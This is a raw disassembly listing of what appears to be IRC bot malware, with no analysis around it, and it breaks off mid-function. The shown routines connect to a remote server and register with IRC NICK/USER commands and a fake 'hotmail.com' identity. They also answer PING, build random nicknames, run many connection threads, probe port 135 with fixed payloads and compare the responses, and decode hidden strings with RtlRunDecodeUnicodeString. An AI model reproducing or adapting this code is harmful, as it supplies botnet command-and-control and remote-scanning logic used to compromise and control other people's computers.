arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
push ecx
mov eax, dword_4DA278
push esi
mov esi, dword_42714C
push edi
lea ecx, [eax+eax]
lea eax, [eax+eax+2]
mov [ebp+var_6], ax
mov [ebp+var_8], cx
movzx eax, ax
push eax
push 8
call esi ; dword_42714C
push eax
call dword_427148 ; RtlAllocateHeap
mov ecx, dword_4DA278
mov [ebp+var_4], eax
add ecx, ecx
push ecx
push dword_4DA280
push eax
call near ptr sub_41C9B0
add esp, 0Ch
lea eax, [ebp+var_8]
push eax
mov al, byte ptr dword_4DA284
push eax
call dword_4DA064 ; RtlRunDecodeUnicodeString
push [ebp+var_4]
mov edi, offset dword_4DA070
push offset dword_4D9060
push offset dword_4D9860
push [ebp+arg_0]
push offset dword_43FE34
push 200h
push edi
call sub_41C030
add esp, 1Ch
push [ebp+var_4]
push 0
call esi ; dword_42714C
push eax
call dword_427144 ; RtlFreeHeap
mov eax, edi
pop edi
pop esi
leave
retn
sub_417B4F endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417BE6 proc near ; CODE XREF: sub_417517:loc_417653p
var_18 = word ptr -18h
var_16 = word ptr -16h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 18h
mov eax, dword_4DA278
push ebx
push esi
push edi
lea ecx, [eax+eax]
lea eax, [eax+eax+2]
mov [ebp+var_16], ax
mov [ebp+var_18], cx
movzx eax, ax
push eax
push 8
call dword_42714C ; GetProcessHeap
push eax
call dword_427148 ; RtlAllocateHeap
and [ebp+var_C], 0
mov [ebp+var_14], eax
mov ebx, offset dword_4D9860
mov edi, 200h
mov esi, offset dword_4D8E60
loc_417C2C: ; CODE XREF: sub_417BE6+FAj
mov eax, dword_4DA278
add eax, eax
push eax
push dword_4DA280
push [ebp+var_14]
call near ptr sub_41C9B0
add esp, 0Ch
lea eax, [ebp+var_18]
push eax
push [ebp+var_C]
call dword_4DA064 ; RtlRunDecodeUnicodeString
mov eax, dword_4DA278
and [ebp+var_10], 0
mov ecx, [ebp+var_14]
mov [ebp+var_8], 1
test eax, eax
jbe short loc_417CA1
loc_417C69: ; CODE XREF: sub_417BE6+B3j
cmp [ebp+var_8], 0
jz short loc_417CBE
mov dl, [ecx]
test dl, dl
mov [ebp+var_1], dl
jz short loc_417C8D
cmp byte ptr [ecx+1], 0
jnz short loc_417C8D
cmp dl, 20h
jnb short loc_417C87
and [ebp+var_8], 0
loc_417C87: ; CODE XREF: sub_417BE6+9Bj
cmp [ebp+var_1], 7Eh
jbe short loc_417C91
loc_417C8D: ; CODE XREF: sub_417BE6+90j
; sub_417BE6+96j
and [ebp+var_8], 0
loc_417C91: ; CODE XREF: sub_417BE6+A5j
inc ecx
inc ecx
inc [ebp+var_10]
cmp [ebp+var_10], eax
jb short loc_417C69
cmp [ebp+var_8], 0
jz short loc_417CBE
loc_417CA1: ; CODE XREF: sub_417BE6+81j
push [ebp+var_14]
push offset dword_4D9060
push ebx
push [ebp+arg_0]
push offset dword_43FE34
push edi
push esi
call sub_41C030
add esp, 1Ch
jmp short loc_417CD6
; ---------------------------------------------------------------------------
loc_417CBE: ; CODE XREF: sub_417BE6+87j
; sub_417BE6+B9j
push offset dword_4D9060
push ebx
push [ebp+arg_0]
push offset dword_43FE84
push edi
push esi
call sub_41C030
add esp, 18h
loc_417CD6: ; CODE XREF: sub_417BE6+D6j
inc [ebp+var_C]
cmp [ebp+var_C], 0FFh
jbe loc_417C2C
push [ebp+var_14]
push 0
call dword_42714C ; GetProcessHeap
push eax
call dword_427144 ; RtlFreeHeap
mov eax, esi
pop edi
pop esi
pop ebx
leave
retn
sub_417BE6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417CFF proc near ; CODE XREF: sub_417EC3+2Fp
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
push esi
push edi
push 0
push 1
push 2
call dword_4D1270 ; socket
mov edi, eax
or esi, 0FFFFFFFFh
cmp edi, esi
jz short loc_417D7B
push 10h
lea eax, [ebp+var_10]
push 0
push eax
call sub_41BC40
add esp, 0Ch
mov [ebp+var_10], 2
push [ebp+arg_4]
call dword_4D11F0 ; ntohs
push [ebp+arg_0]
mov [ebp+var_E], ax
call dword_4D1230 ; inet_addr
cmp eax, esi
jnz short loc_417D60
push [ebp+arg_0]
call dword_4D1274 ; gethostbyname
test eax, eax
jz short loc_417D7B
mov eax, [eax+0Ch]
mov eax, [eax]
mov eax, [eax]
loc_417D60: ; CODE XREF: sub_417CFF+4Bj
mov [ebp+var_C], eax
lea eax, [ebp+var_10]
push 10h
push eax
push edi
call dword_4D1198 ; connect
cmp eax, esi
jnz short loc_417D7F
push edi
call dword_4D1288 ; closesocket
loc_417D7B: ; CODE XREF: sub_417CFF+1Bj
; sub_417CFF+58j
mov eax, esi
jmp short loc_417D81
; ---------------------------------------------------------------------------
loc_417D7F: ; CODE XREF: sub_417CFF+73j
mov eax, edi
loc_417D81: ; CODE XREF: sub_417CFF+7Ej
pop edi
pop esi
leave
retn
sub_417CFF endp
; =============== S U B R O U T I N E =======================================
sub_417D85 proc near ; CODE XREF: .nsp0:00404D9Ep
; .nsp0:00404E07p ...
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
push offset asc_430808 ; "\n"
push edi
call sub_41C560
pop ecx
mov esi, offset dword_4DA28C
pop ecx
loc_417D9D: ; CODE XREF: sub_417D85+42j
cmp dword ptr [esi-4], 1
jnz short loc_417DBB
cmp dword ptr [esi], 0
jbe short loc_417DBB
push 0
push edi
call sub_41B890
pop ecx
push eax
push edi
push dword ptr [esi]
call dword_4D1240 ; send
loc_417DBB: ; CODE XREF: sub_417D85+1Cj
; sub_417D85+21j
add esi, 210h
cmp esi, offset dword_4E09AC
jl short loc_417D9D
pop edi
pop esi
retn
sub_417D85 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417DCC proc near ; CODE XREF: sub_417EC3+152p
var_420 = byte ptr -420h
var_220 = byte ptr -220h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 420h
push ebx
push esi
mov esi, offset asc_43368C ; " "
push edi
push esi
push [ebp+arg_0]
call sub_41C794
pop ecx
mov [ebp+var_20], eax
pop ecx
lea edi, [ebp+var_1C]
push 7
pop ebx
loc_417DF1: ; CODE XREF: sub_417DCC+35j
push esi
push 0
call sub_41C794
mov [edi], eax
pop ecx
add edi, 4
dec ebx
pop ecx
jnz short loc_417DF1
mov esi, [ebp+var_1C]
xor edi, edi
cmp [ebp+var_20], edi
jnz short loc_417E19
cmp esi, edi
jnz short loc_417E19
push 1
pop eax
jmp loc_417EBE
; ---------------------------------------------------------------------------
loc_417E19: ; CODE XREF: sub_417DCC+3Fj
; sub_417DCC+43j
push [ebp+var_20]
push offset aPing ; "PING"
call sub_41C710
pop ecx
pop ecx
test eax, eax
push esi
jnz short loc_417E43
lea eax, [ebp+var_220]
push offset dword_440A50
push eax
call sub_41BF36
add esp, 0Ch
jmp short loc_417E9D
; ---------------------------------------------------------------------------
loc_417E43: ; CODE XREF: sub_417DCC+5Fj
push offset a433 ; "433"
call sub_41C710
pop ecx
test eax, eax
pop ecx
jz short loc_417E64
push esi
push offset dword_440A4C
call sub_41C710
pop ecx
test eax, eax
pop ecx
jnz short loc_417EBC
loc_417E64: ; CODE XREF: sub_417DCC+85j
push 200h
lea eax, [ebp+var_420]
push edi
push eax
call sub_41BC40
lea eax, [ebp+var_420]
push eax
call sub_4180E3
lea eax, [ebp+var_420]
push eax
lea eax, [ebp+var_220]
push offset dword_440A40
push eax
call sub_41BF36
add esp, 1Ch
loc_417E9D: ; CODE XREF: sub_417DCC+75j
lea eax, [ebp+var_220]
push edi
push eax
call sub_41B890
pop ecx
push eax
lea eax, [ebp+var_220]
push eax
push [ebp+arg_4]
call dword_4D1240 ; send
loc_417EBC: ; CODE XREF: sub_417DCC+96j
xor eax, eax
loc_417EBE: ; CODE XREF: sub_417DCC+48j
pop edi
pop esi
pop ebx
leave
retn
sub_417DCC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417EC3 proc near ; DATA XREF: sub_418065+61o
var_4008 = byte ptr -4008h
var_3008 = byte ptr -3008h
var_2008 = byte ptr -2008h
var_1008 = byte ptr -1008h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
mov eax, 4008h
call sub_41C1D0
push ebx
push esi
mov esi, [ebp+arg_0]
push edi
imul esi, 210h
push 1
pop edi
lea eax, dword_4DA294[esi]
mov dword_4DA288[esi], edi
push dword_4DA494[esi]
push eax
call sub_417CFF
pop ecx
xor ebx, ebx
cmp eax, edi
pop ecx
mov dword_4DA28C[esi], eax
jb loc_418045
mov edi, 1000h
lea eax, [ebp+var_2008]
push edi
push ebx
push eax
call sub_41BC40
lea eax, [ebp+var_2008]
push eax
call sub_4180E3
lea eax, [ebp+var_4008]
push eax
call sub_4180E3
lea eax, [ebp+var_3008]
push eax
call sub_4180E3
lea eax, [ebp+var_3008]
push eax
lea eax, [ebp+var_4008]
push eax
lea eax, [ebp+var_2008]
push eax
lea eax, [ebp+var_1008]
push offset aNickSUserSHotm ; "NICK %s\nUSER %s \"hotmail.com\" \"127.0.0."...
push eax
call sub_41BF36
add esp, 2Ch
lea eax, [ebp+var_1008]
push ebx
push eax
call sub_41B890
pop ecx
push eax
lea eax, [ebp+var_1008]
push eax
push dword_4DA28C[esi]
call dword_4D1240 ; send
push edi
lea eax, [ebp+var_1008]
push ebx
push eax
call sub_41BC40
add esp, 0Ch
loc_417F9C: ; CODE XREF: sub_417EC3+10Ej
; sub_417EC3+17Dj
push edi
lea eax, [ebp+var_1008]
push ebx
push eax
call sub_41BC40
add esp, 0Ch
lea eax, [ebp+var_1008]
push ebx
push edi
push eax
push dword_4DA28C[esi]
call dword_4D1208 ; recv
cmp eax, ebx
mov [ebp+var_8], eax
jle short loc_418045
xor eax, eax
cmp [ebp+var_8], ebx
mov [ebp+var_4], eax
jz short loc_417F9C
loc_417FD3: ; CODE XREF: sub_417EC3+17Bj
mov al, [ebp+eax+var_1008]
cmp al, 0Dh
jz short loc_417FFA
cmp al, 0Ah
jz short loc_417FFA
cmp [ebp+arg_0], 0FA0h
jz short loc_417FFA
mov ecx, [ebp+arg_0]
inc [ebp+arg_0]
mov [ebp+ecx+var_2008], al
jmp short loc_418034
; ---------------------------------------------------------------------------
loc_417FFA: ; CODE XREF: sub_417EC3+119j
; sub_417EC3+11Dj ...
mov eax, [ebp+arg_0]
cmp eax, ebx
jz short loc_418034
push dword_4DA28C[esi]
mov [ebp+eax+var_2008], bl
lea eax, [ebp+var_2008]
push eax
call sub_417DCC
pop ecx
test eax, eax
pop ecx
ja short loc_418045
push edi
lea eax, [ebp+var_2008]
push ebx
push eax
call sub_41BC40
add esp, 0Ch
mov [ebp+arg_0], ebx
loc_418034: ; CODE XREF: sub_417EC3+135j
; sub_417EC3+13Cj
mov eax, [ebp+var_4]
inc eax
cmp eax, [ebp+var_8]
mov [ebp+var_4], eax
jnz short loc_417FD3
jmp loc_417F9C
; ---------------------------------------------------------------------------
loc_418045: ; CODE XREF: sub_417EC3+40j
; sub_417EC3+104j ...
mov dword_4DA288[esi], ebx
mov esi, dword_4DA28C[esi]
cmp esi, ebx
jbe short loc_41805C
push esi
call dword_4D1288 ; closesocket
loc_41805C: ; CODE XREF: sub_417EC3+190j
pop edi
pop esi
xor eax, eax
pop ebx
leave
retn 4
sub_417EC3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_418065 proc near ; CODE XREF: .nsp0:00404CF1p
var_8 = byte ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
xor ebx, ebx
cmp [ebp+arg_8], ebx
push esi
push edi
mov [ebp+var_4], ebx
jle short loc_4180DE
loc_418077: ; CODE XREF: sub_418065+77j
xor edi, edi
mov eax, offset dword_4DA288
loc_41807E: ; CODE XREF: sub_418065+28j
cmp [eax], ebx
jz short loc_41808F
add eax, 210h
inc edi
cmp eax, offset dword_4E09A8
jl short loc_41807E
loc_41808F: ; CODE XREF: sub_418065+1Bj
cmp edi, 31h
jz short loc_4180DE
mov esi, edi
push [ebp+arg_0]
imul esi, 210h
lea eax, dword_4DA294[esi]
push eax
call sub_41C550
mov eax, [ebp+arg_4]
pop ecx
mov dword_4DA494[esi], eax
pop ecx
lea eax, [ebp+var_8]
mov dword_4DA288[esi], 1
push eax
push ebx
push edi
push offset sub_417EC3
push ebx
push ebx
call dword_42707C ; CreateThread
inc [ebp+var_4]
mov eax, [ebp+var_4]
cmp eax, [ebp+arg_8]
jl short loc_418077
loc_4180DE: ; CODE XREF: sub_418065+10j
; sub_418065+2Dj
pop edi
pop esi
pop ebx
leave
retn
sub_418065 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4180E3 proc near ; CODE XREF: .nsp0:00405244p
; .nsp0:00405287p ...
var_40 = byte ptr -40h
var_2D = byte ptr -2Dh
var_2C = byte ptr -2Ch
var_2B = byte ptr -2Bh
var_18 = qword ptr -18h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 40h
push 14h
lea eax, [ebp+var_2C]
push 0
push eax
call sub_41BC40
add esp, 0Ch
call sub_41BF92
mov [ebp+var_C], eax
fild [ebp+var_C]
fmul dbl_4276F8
call sub_41CE38
cmp eax, 1
jnz short loc_41812D
call sub_41BF92
call sub_41BF92
push 66h
cdq
pop ecx
idiv ecx
push dword ptr loc_4401D7+1[edx*4]
jmp short loc_418146
; ---------------------------------------------------------------------------
loc_41812D: ; CODE XREF: sub_4180E3+2Fj
call sub_41BF92
call sub_41BF92
cdq
mov ecx, 0C0h
idiv ecx
push off_43FED8[edx*4]
loc_418146: ; CODE XREF: sub_4180E3+48j
lea eax, [ebp+var_2C]
push eax
call sub_41C550
pop ecx
lea eax, [ebp+var_2C]
pop ecx
push ebx
push esi
push edi
push eax
call sub_41B890
pop ecx
mov esi, eax
push 13h
mov [ebp+var_4], esi
pop eax
sub eax, esi
mov [ebp+var_C], eax
call sub_41BF92
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4276F0
call sub_41CE38
mov ebx, eax
call sub_41BF92
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fimul [ebp+var_4]
fmul dbl_4276E8
call sub_41CE38
cmp esi, 2
mov edi, offset a__0 ; "-|`_\\{[]}"
jle short loc_4181B9
cmp esi, 3
jnz short loc_4181B0
cmp ebx, 1
jz short loc_4181B9
loc_4181B0: ; CODE XREF: sub_4180E3+C6j
cmp eax, 1
jnz loc_418273
loc_4181B9: ; CODE XREF: sub_4180E3+C1j
; sub_4180E3+CBj
call sub_41BF92
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4276E0
call sub_41CE38
push dword ptr loc_4401D7+1[eax*4]
lea eax, [ebp+var_40]
push eax
call sub_41C550
movsx eax, [ebp+esi+var_2D]
lea ebx, [ebp+esi+var_2C]
push eax
push edi
call sub_41C650
add esp, 10h
test eax, eax
jnz short loc_418260
movsx eax, [ebp+var_40]
push eax
push edi
call sub_41C650
pop ecx
test eax, eax
pop ecx
jnz short loc_418260
call sub_41BF92
mov dword ptr [ebp+var_18+4], eax
dec esi
fild dword ptr [ebp+var_18+4]
mov dword ptr [ebp+var_18+4], esi
fild dword ptr [ebp+var_18+4]
fmulp st(1), st
fmul dbl_4276E8
call sub_41CE38
cmp eax, 1
jnz short loc_418260
push edi
call sub_41B890
and dword ptr [ebp+var_18+4], 0
mov dword ptr [ebp+var_18], eax
fild [ebp+var_18]
pop ecx
fstp qword ptr [ebp-8]
call sub_41BF92
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul qword ptr [ebp-8]
fmul dbl_4276E8
call sub_41CE38
mov al, byte ptr a__0[eax] ; "-|`_\\{[]}"
mov [ebx], al
loc_418260: ; CODE XREF: sub_4180E3+111j
; sub_4180E3+122j ...
push [ebp+var_C]
lea eax, [ebp+var_40]
push eax
lea eax, [ebp+var_2C]
push eax
call sub_41C880
add esp, 0Ch
loc_418273: ; CODE XREF: sub_4180E3+D0j
lea eax, [ebp+var_2C]
push eax
call sub_41B890
mov esi, eax
movsx eax, [ebp+esi+var_2D]
lea ebx, [ebp+esi+var_2C]
push eax
mov [ebp+var_4], esi
call sub_41DD18
pop ecx
test eax, eax
pop ecx
jnz loc_4184DB
and [ebp+var_C], eax
movsx eax, byte ptr [ebx-1]
push eax
push edi
call sub_41C650
pop ecx
test eax, eax
pop ecx
jnz loc_4183D2
call sub_41BF92
mov dword ptr [ebp+var_18+4], eax
lea eax, [esi+3]
fild dword ptr [ebp+var_18+4]
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmulp st(1), st
fmul dbl_4276E8
call sub_41CE38
cmp esi, 3
jz short loc_4182E1
cmp eax, 1
jnz loc_4183D2
loc_4182E1: ; CODE XREF: sub_4180E3+1F3j
push 2
cdq
pop ecx
idiv ecx
cmp edx, 1
jnz short loc_418323
push edi
call sub_41B890
and dword ptr [ebp+var_18+4], 0
mov dword ptr [ebp+var_18], eax
fild [ebp+var_18]
pop ecx
fstp qword ptr [ebp-10h]
call sub_41BF92
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul qword ptr [ebp-10h]
fmul dbl_4276E8
call sub_41CE38
mov al, byte ptr a__0[eax] ; "-|`_\\{[]}"
mov [ebx], al
jmp short loc_41833F
; ---------------------------------------------------------------------------
loc_418323: ; CODE XREF: sub_4180E3+207j
call sub_41BF92
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4276D8
call sub_41CE38
mov cl, 41h
sub cl, al
mov [ebx], cl
loc_41833F: ; CODE XREF: sub_4180E3+23Ej
push 1
inc esi
pop ebx
mov [ebp+var_4], esi
mov [ebp+var_C], ebx
call sub_41BF92
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4276D0
call sub_41CE38
cmp esi, 3
jz short loc_418368
cmp eax, ebx
jnz short loc_4183D2
loc_418368: ; CODE XREF: sub_4180E3+27Fj
push 2
pop ebx
cdq
mov ecx, ebx
idiv ecx
test edx, edx
jnz short loc_4183AD
push edi
call sub_41B890
and dword ptr [ebp+var_18+4], 0
mov dword ptr [ebp+var_18], eax
fild [ebp+var_18]
pop ecx
fstp qword ptr [ebp-10h]
call sub_41BF92
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul qword ptr [ebp-10h]
fmul dbl_4276E8
call sub_41CE38
mov al, byte ptr a__0[eax] ; "-|`_\\{[]}"
mov [ebp+esi+var_2C], al
jmp short loc_4183CB
; ---------------------------------------------------------------------------
loc_4183AD: ; CODE XREF: sub_4180E3+28Fj
call sub_41BF92
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4276D8
call sub_41CE38
mov cl, 41h
sub cl, al
mov [ebp+esi+var_2C], cl
loc_4183CB: ; CODE XREF: sub_4180E3+2C8j
inc esi
mov [ebp+var_C], ebx
mov [ebp+var_4], esi
loc_4183D2: ; CODE XREF: sub_4180E3+1C9j
; sub_4180E3+1F8j ...
cmp esi, 6
jge loc_41845B
cmp esi, 5
jge short loc_4183F3
call sub_41BF92
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4276F0
jmp short loc_418411
; ---------------------------------------------------------------------------
loc_4183F3: ; CODE XREF: sub_4180E3+2FBj
call sub_41BF92
push 8
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
pop eax
sub eax, esi
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmulp st(1), st
fmul dbl_4276E8
loc_418411: ; CODE XREF: sub_4180E3+30Ej
call sub_41CE38
test eax, eax
jnz short loc_418434
call sub_41BF92
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4276C8
call sub_41CE38
mov cl, 30h
jmp short loc_418451
; ---------------------------------------------------------------------------
loc_418434: ; CODE XREF: sub_4180E3+335j
cmp eax, 1
jnz short loc_41845B
call sub_41BF92
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4276D8
call sub_41CE38
mov cl, 41h
loc_418451: ; CODE XREF: sub_4180E3+34Fj
sub cl, al
mov [ebp+esi+var_2C], cl
inc esi
mov [ebp+var_4], esi
loc_41845B: ; CODE XREF: sub_4180E3+2F2j
; sub_4180E3+354j
cmp [ebp+var_C], 2
jge short loc_4184DB
call sub_41BF92
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fimul [ebp+var_4]
fmul dbl_4276E8
call sub_41CE38
cmp eax, 1
jnz short loc_4184DB
call sub_41BF92
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4276C8
call sub_41CE38
mov cl, 30h
sub cl, al
mov [ebp+esi+var_2C], cl
call sub_41BF92
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4276C0
call sub_41CE38
cmp eax, 1
jnz short loc_4184DB
cmp [ebp+var_C], eax
jge short loc_4184DB
call sub_41BF92
mov dword ptr [ebp+var_18+4], eax
fild dword ptr [ebp+var_18+4]
fmul dbl_4276B8
call sub_41CE38
mov cl, 30h
sub cl, al
mov [ebp+esi+var_2B], cl
loc_4184DB: ; CODE XREF: sub_4180E3+1B1j
; sub_4180E3+37Cj ...
lea eax, [ebp+var_2C]
push 14h
push eax
push [ebp+arg_0]
call sub_41BCA0
mov eax, [ebp+arg_0]
add esp, 0Ch
pop edi
pop esi
pop ebx
leave
retn
sub_4180E3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4184F4 proc near ; CODE XREF: sub_41852C+125p
; sub_41852C+14Cp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_4]
xor esi, esi
sub edi, [ebp+arg_C]
test edi, edi
jle short loc_418522
loc_418505: ; CODE XREF: sub_4184F4+2Cj
push [ebp+arg_C]
mov eax, [ebp+arg_0]
add eax, esi
push [ebp+arg_8]
push eax
call sub_41DD70
add esp, 0Ch
test eax, eax
jz short loc_418528
inc esi
cmp esi, edi
jl short loc_418505
loc_418522: ; CODE XREF: sub_4184F4+Fj
xor al, al
loc_418524: ; CODE XREF: sub_4184F4+36j
pop edi
pop esi
pop ebp
retn
; ---------------------------------------------------------------------------
loc_418528: ; CODE XREF: sub_4184F4+27j
mov al, 1
jmp short loc_418524
sub_4184F4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41852C proc near ; CODE XREF: sub_40E18F+8Bp
var_2010 = byte ptr -2010h
var_200E = byte ptr -200Eh
var_10 = word ptr -10h
var_E = word ptr -0Eh
var_C = dword ptr -0Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov eax, 2010h
call sub_41C1D0
mov eax, [ebp+arg_4]
push esi
dec eax
push edi
jz short loc_41856D
dec eax
jz short loc_41854B
dec eax
loc_418545: ; CODE XREF: sub_41852C+57j
xor eax, eax
loc_418547: ; CODE XREF: sub_41852C+3Fj
; sub_41852C+169j
pop edi
pop esi
leave
retn
; ---------------------------------------------------------------------------
loc_41854B: ; CODE XREF: sub_41852C+16j
push 3
push 1388h
push [ebp+arg_0]
call dword_4D1230 ; inet_addr
push eax
call sub_40BF97
add esp, 0Ch
neg eax
sbb eax, eax
and eax, 3
jmp short loc_418547
; ---------------------------------------------------------------------------
loc_41856D: ; CODE XREF: sub_41852C+13j
push 6
push 1
push 2
call dword_4D1270 ; socket
mov esi, eax
or edi, 0FFFFFFFFh
cmp esi, edi
mov [ebp+arg_4], esi
jz short loc_418545
push ebx
xor ebx, ebx
push 10h
lea eax, [ebp+var_10]
push ebx
push eax
call sub_41BC40
add esp, 0Ch
mov [ebp+var_10], 2
push 87h
call dword_4D11F0 ; ntohs
push [ebp+arg_0]
mov [ebp+var_E], ax
call sub_40AA54
pop ecx
mov [ebp+var_C], eax
lea eax, [ebp+var_10]
push 10h
push eax
push esi
call dword_4D1198 ; connect
cmp eax, edi
jz loc_418689
push ebx
push 48h
push offset dword_440A98
push esi
call dword_4D1240 ; send
cmp eax, edi
jz loc_418689
mov esi, 2000h
push ebx
lea eax, [ebp+var_2010]
push esi
push eax
push [ebp+arg_4]
call dword_4D1208 ; recv
cmp eax, edi
jz loc_418689
cmp [ebp+var_200E], 0Ch
jnz short loc_418689
push ebx
push 18h
push offset dword_440AE4
push [ebp+arg_4]
call dword_4D1240 ; send
cmp eax, edi
jz short loc_418689
push ebx
lea eax, [ebp+var_2010]
push esi
push eax
push [ebp+arg_4]
call dword_4D1208 ; recv
mov esi, eax
cmp esi, edi
jz short loc_418689
cmp [ebp+var_200E], 2
jnz short loc_418689
push 10h
push offset dword_440B00
lea eax, [ebp+var_2010]
push esi
push eax
call sub_4184F4
add esp, 10h
test al, al
jz short loc_418669
cmp esi, 12Ch
setnl bl
inc ebx
jmp short loc_418689
; ---------------------------------------------------------------------------
loc_418669: ; CODE XREF: sub_41852C+12Fj
push 10h
push offset dword_440B14
lea eax, [ebp+var_2010]
push esi
push eax
call sub_4184F4
add esp, 10h
neg al
sbb eax, eax
and eax, 3
mov ebx, eax
loc_418689: ; CODE XREF: sub_41852C+9Bj
; sub_41852C+B2j ...
push [ebp+arg_4]
call dword_4D1288 ; closesocket
mov eax, ebx
pop ebx
jmp loc_418547
sub_41852C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41869A proc near ; CODE XREF: .nsp0:004026DAp
; .nsp0:00402717p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+arg_0]
xor esi, esi
cmp edi, esi
jz short loc_418725
mov eax, [ebp+arg_4]
cmp eax, esi
jz short loc_418725
cmp [ebp+arg_8], esi
jz short loc_418725
cmp byte ptr [eax], 0
jz short loc_418725
push ebx
push edi
call sub_426265
mov ebx, eax
pop ecx
test ebx, ebx
jz short loc_418720
push [ebp+arg_4]
push edi
call sub_41BFB0
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_418719
sub eax, edi
push eax
push edi
push ebx
call sub_41BCA0
push [ebp+arg_8]
mov eax, ebx
sub eax, edi
and byte ptr [eax+esi], 0
call sub_41B890
push eax
push [ebp+arg_8]
push ebx
call sub_41C880
push [ebp+arg_4]
call sub_41B890
add eax, esi
push eax
push ebx
call sub_41C560
push ebx
push edi
call sub_41C550
add esp, 30h
mov esi, edi
loc_418719: ; CODE XREF: sub_41869A+3Cj
push ebx
call sub_41B961
pop ecx
loc_418720: ; CODE XREF: sub_41869A+2Bj
mov eax, esi
pop ebx
jmp short loc_418727
; ---------------------------------------------------------------------------
loc_418725: ; CODE XREF: sub_41869A+Cj
; sub_41869A+13j ...
xor eax, eax
loc_418727: ; CODE XREF: sub_41869A+89j
pop edi
pop esi
pop ebp
retn
sub_41869A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41872B proc near ; CODE XREF: sub_401A09+DCp
var_7D0 = dword ptr -7D0h
var_7CC = byte ptr -7CCh
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 7D0h
push ebx
push esi
push 7D0h
lea eax, [ebp+var_7D0]
push 0
push eax
call sub_41BC40
mov esi, [ebp+arg_0]
push esi
call sub_41B890
add esp, 10h
push 1
pop ebx
cmp eax, ebx
jge short loc_418761
or eax, 0FFFFFFFFh
jmp short loc_4187D4
; ---------------------------------------------------------------------------
loc_418761: ; CODE XREF: sub_41872B+2Fj
xor ecx, ecx
mov [ebp+var_7D0], esi
test eax, eax
jle short loc_418783
loc_41876D: ; CODE XREF: sub_41872B+56j
mov dl, [ecx+esi]
cmp dl, 0Ah
jz short loc_41877A
cmp dl, 0Dh
jnz short loc_41877E
loc_41877A: ; CODE XREF: sub_41872B+48j
and byte ptr [ecx+esi], 0
loc_41877E: ; CODE XREF: sub_41872B+4Dj
inc ecx
cmp ecx, eax
jl short loc_41876D
loc_418783: ; CODE XREF: sub_41872B+40j
xor edx, edx
push edi
test eax, eax
jle short loc_4187B4
lea edi, [ebp+var_7CC]
loc_418790: ; CODE XREF: sub_41872B+87j
cmp byte ptr [edx+esi], 0
jnz short loc_4187AF
cmp byte ptr [edx+esi+1], 0
lea ecx, [edx+esi+1]
jz short loc_4187AF
cmp ebx, 1F4h
jge short loc_4187B4
mov [edi], ecx
inc ebx
add edi, 4
loc_4187AF: ; CODE XREF: sub_41872B+69j
; sub_41872B+74j
inc edx
cmp edx, eax
jl short loc_418790
loc_4187B4: ; CODE XREF: sub_41872B+5Dj
; sub_41872B+7Cj
